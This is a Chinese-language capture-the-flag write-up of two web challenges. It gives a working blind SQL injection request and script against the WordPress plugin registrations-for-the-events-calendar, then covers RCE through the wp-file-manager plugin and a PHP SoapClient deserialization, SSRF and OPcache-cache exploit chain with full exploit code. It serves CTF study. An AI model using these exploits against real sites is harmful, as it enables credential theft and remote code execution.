官方wp:https://dxh3b3fqgc3.feishu.cn/docx/HkgmdV6Fgom3P0x0iUscKxYZnLd
复现一些感兴趣的题
EzPenetration 提示:
flag写入方式已修改。flag在wp那个机器的 /flag 数据库里的邮箱key已更改为管理员密码,拿到后可直接登录
开局一个wordpress站点,拿出wpscan,在 https://wpscan.com/ 注册一个账号,就可以使用api-token
进行漏洞扫描
1 wpscan --url http://node4.buuoj.cn:29874/ --api-token=xxxx
发现插件registrations-for-the-events-calendar
存在一个未授权sql注入漏洞:https://wpscan.com/vulnerability/ba50c590-42ee-4523-8aa0-87ac644b77ed/
发现是无回显union注入
1 2 3 4 5 6 7 8 9 10 POST /wp-admin/admin-ajax.php?action=rtec_send_unregister_link HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 127 Connection: close Upgrade-Insecure-Requests: 1 event_id=3%20UNION%20SELECT%200,1,2,3,4,5,6,7,8,group_concat(user_email)%20from%20wp_users%20--%20x&email=recipient@example.com
使用select database() where 1=0
来实现报错,进行布尔盲注,exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import requestsimport timeurl = 'http://node4.buuoj.cn:26014/wp-admin/admin-ajax.php?action=rtec_send_unregister_link' flag = "" for i in range (1 ,100 ): begin = 32 end = 126 tmp = (begin+end)//2 while begin<end: payload = "if((select ascii(substr((select group_concat(option_name,0x7e,option_value) from wp_options where option_id=16),{},1)))>{},1,0)" .format (i,tmp) data={ "event_id" :"3 union select 0,1,2,3,4,5,6,7,8,(select database() where 1=({}))--" .format (payload), "email" :"recipient@example.com" } r = requests.post(url,data=data) if 'success' in r.text: begin = tmp+1 tmp = (begin+end)//2 else : end = tmp tmp = (begin+end)//2 flag+=chr (tmp) print (flag)
得到密码:fO0CO2#0ky#oLgH1JI
,猜测用户名为yanshu,成功登录后台
WordPress版本为5.8.3,最后通过上传wp-file-manager插件RCE,插件下载地址:http://plugins.svn.wordpress.org/wp-file-manager/tags/6.0/
就如同题目说的:源自真实渗透案例,确实有实战参考意义
single_php 通过?LuckyE=highlight_file
获取到 index.php 源码:
1 2 3 4 5 6 7 8 9 10 11 12 <?php error_reporting (0 );class siroha {public $koi ;public function __destruct ( ) {$this ->koi['zhanjiangdiyishenqing' ]();} } $kanozyo = $_GET ['LuckyE' ](__FILE__ );var_dump ($kanozyo );$suki = unserialize ($_POST ['suki' ]);
是一个无参的任意方法调用,直接phpinfo看一下
得到PHP Version 8.2.10,并且开启了Zend OPcache扩展,这里opcache.validate_timestamps=On
,即需要绕过时间戳校验
根据title可以得到文件 siranai.php,访问得到源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php error_reporting (0 );highlight_file (__FILE__ );$allowed_ip = "127.0.0.1" ;if ($_SERVER ['REMOTE_ADDR' ] !== $allowed_ip ) { die ("S* has the kanojo but you don't" ); } $finfo = finfo_open (FILEINFO_MIME_TYPE); if (finfo_file ($finfo , $_FILES ["file" ]["tmp_name" ]) === 'application/x-tar' ){ exec ('cd /tmp && tar -xvf ' . $_FILES ["file" ]["tmp_name" ]); }
发现上传的文件会在/tmp
目录下解压,但是限制了访问ip为127.0.0.1,需要SSRF
那么思路就很清晰了,通过反序列化的可变函数调用到__call()
方法,触发SoapClient类的SSRF上传压缩包,解压到/tmp/[system_id]/var/www/html/index.php.bin
实现RCE
难点一 第一个问题就是如何创建恶意的index.php.bin
,我们可以在本地生成恶意的缓存文件,然后修改为一样的 system_id 即可
下载php8.2.10:https://www.php.net/distributions/php-8.2.10.tar.gz 按照fdvoid0师傅的文章,进行编译安装
1 2 3 4 5 6 7 8 9 10 apt-get install build-essential autoconf automake libtool libsqlite3-dev pkg-config libjpeg-dev libpng-dev libxml2-dev libbz2-dev libcurl4-gnutls-dev libssl-dev libffi-dev libwebp-dev libonig-dev libzip-dev ./configure --prefix=/usr/local/php --sysconfdir=/etc/php/8.2 --with-openssl --with-zlib --with-bz2 --with-curl --enable-bcmath --enable-gd --with-webp --with-jpeg --with-mhash --enable-mbstring --with-imap-ssl --with-mysqli --enable-exif --with-ffi --with-zip --enable-sockets --with-pcre-jit --enable-fpm --with-pdo-mysql --enable-pcntl make && make install cd /usr/binln -s /usr/local/php/bin/php php8.2cp /usr/local/php-8.2.2/php.ini-development /usr/local/php/lib/php.inicp /etc/php/8.2/php-fpm.conf.default /etc/php/8.2/php-fpm.confcp /etc/php/8.2/php-fpm.d/www.conf.default /etc/php/8.2/php-fpm.d/www.conf
然后编辑 php.ini 文件开启opcache,最后php8.2 -S 0.0.0.0:8888
启动服务即可
得到 system_id 为 214510e772fba140ea7a33a277f2799e,其实这里就是 PHP 版本号,也就是:
1 2 <?php echo md5 ("8.2.10API420220829,NTSBIN_4888(size_t)8\002" );
接下来可以通过filemtime函数获取到文件创建时间戳:https://www.php.net/manual/zh/function.filemtime.php
然后010修改
这样第一部分就结束了
难点二 接下来需要创建tar压缩包,文件路径设置为214510e772fba140ea7a33a277f2799e/var/www/html/index.php.bin
,然后反序列化实现POST请求
官方exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import hashlibimport tarfileimport requestssys_id = hashlib.md5("8.2.10API420220829,NTSBIN_4888(size_t)8\002" .encode("utf-8" )).hexdigest() def tar_file (): tar_filename = 'exp.tar' with tarfile.open (tar_filename,'w' ) as tar: directory_info = tarfile.TarInfo(name=f'{sys_id} /var/www/html' ) directory_info.type = tarfile.DIRTYPE directory_info.mode = 0o777 tar.addfile(directory_info) tar.add('index.php.bin' , arcname=f'{sys_id} /var/www/html/index.php.bin' ) def upload (): file = {"file" :("exp.tar" ,open ("exp.tar" ,"rb" ).read(),"application/x-tar" )} res = requests.post(url="http://a984f8e7-024a-44eb-b978-5e92ff3bf070.node4.buuoj.cn:81/" ,files=file) print (res.request.headers) return res.request tar_file() request_content = upload() upload_body = str (request_content.body).replace("\"" ,"\\\"" ) print (upload_body)
这里通过python请求获取到压缩包上传的报文
注意这里Content-Length一定不能错,然后使用SoapClient反序列化+CRLF可以构造任意POST请求
1 2 3 4 5 6 7 8 9 10 <?php class siroha { public $koi ; } $postdata = "xxxxx" ;$a = new SoapClient (null , array ('location' => "http://127.0.0.1/siranai.php" , 'user_agent' => "aaa\r\n" . "Cookie: PHPSESSION=aaa\r\nContent-Type: multipart/form-data; boundary=" .substr ($postdata ,2 ,32 )."\r\nConnection: keep-alive\r\nAccept: */*\r\nContent-Length: 10416" ."\r\n\r\n" .$postdata ,'uri' => "aaa" ));$b = new siroha ();$b ->koi=["zhanjiangdiyishenqing" =>[$a ,"nnnnn" ]];echo urlencode (serialize ($b ));
这里[new SoapClient(),"nnnnn"]()
,即调用SoapClient类的nnnnn方法,触发__class()
最后suki反序列化即可,注意这里同时需要GET传参,满足var_dump($kanozyo);
不报错
再次访问index.php,成功RCE
参考:利用 PHP7 的 OPcache 执行 PHP 代码 PHP8 OPCACHE缓存文件导致RCE 2023年春秋杯网络安全联赛春季赛 web php_again [PHP 8.2.2 OPcache Binary Webshell + CVE-2022-42919 LPE]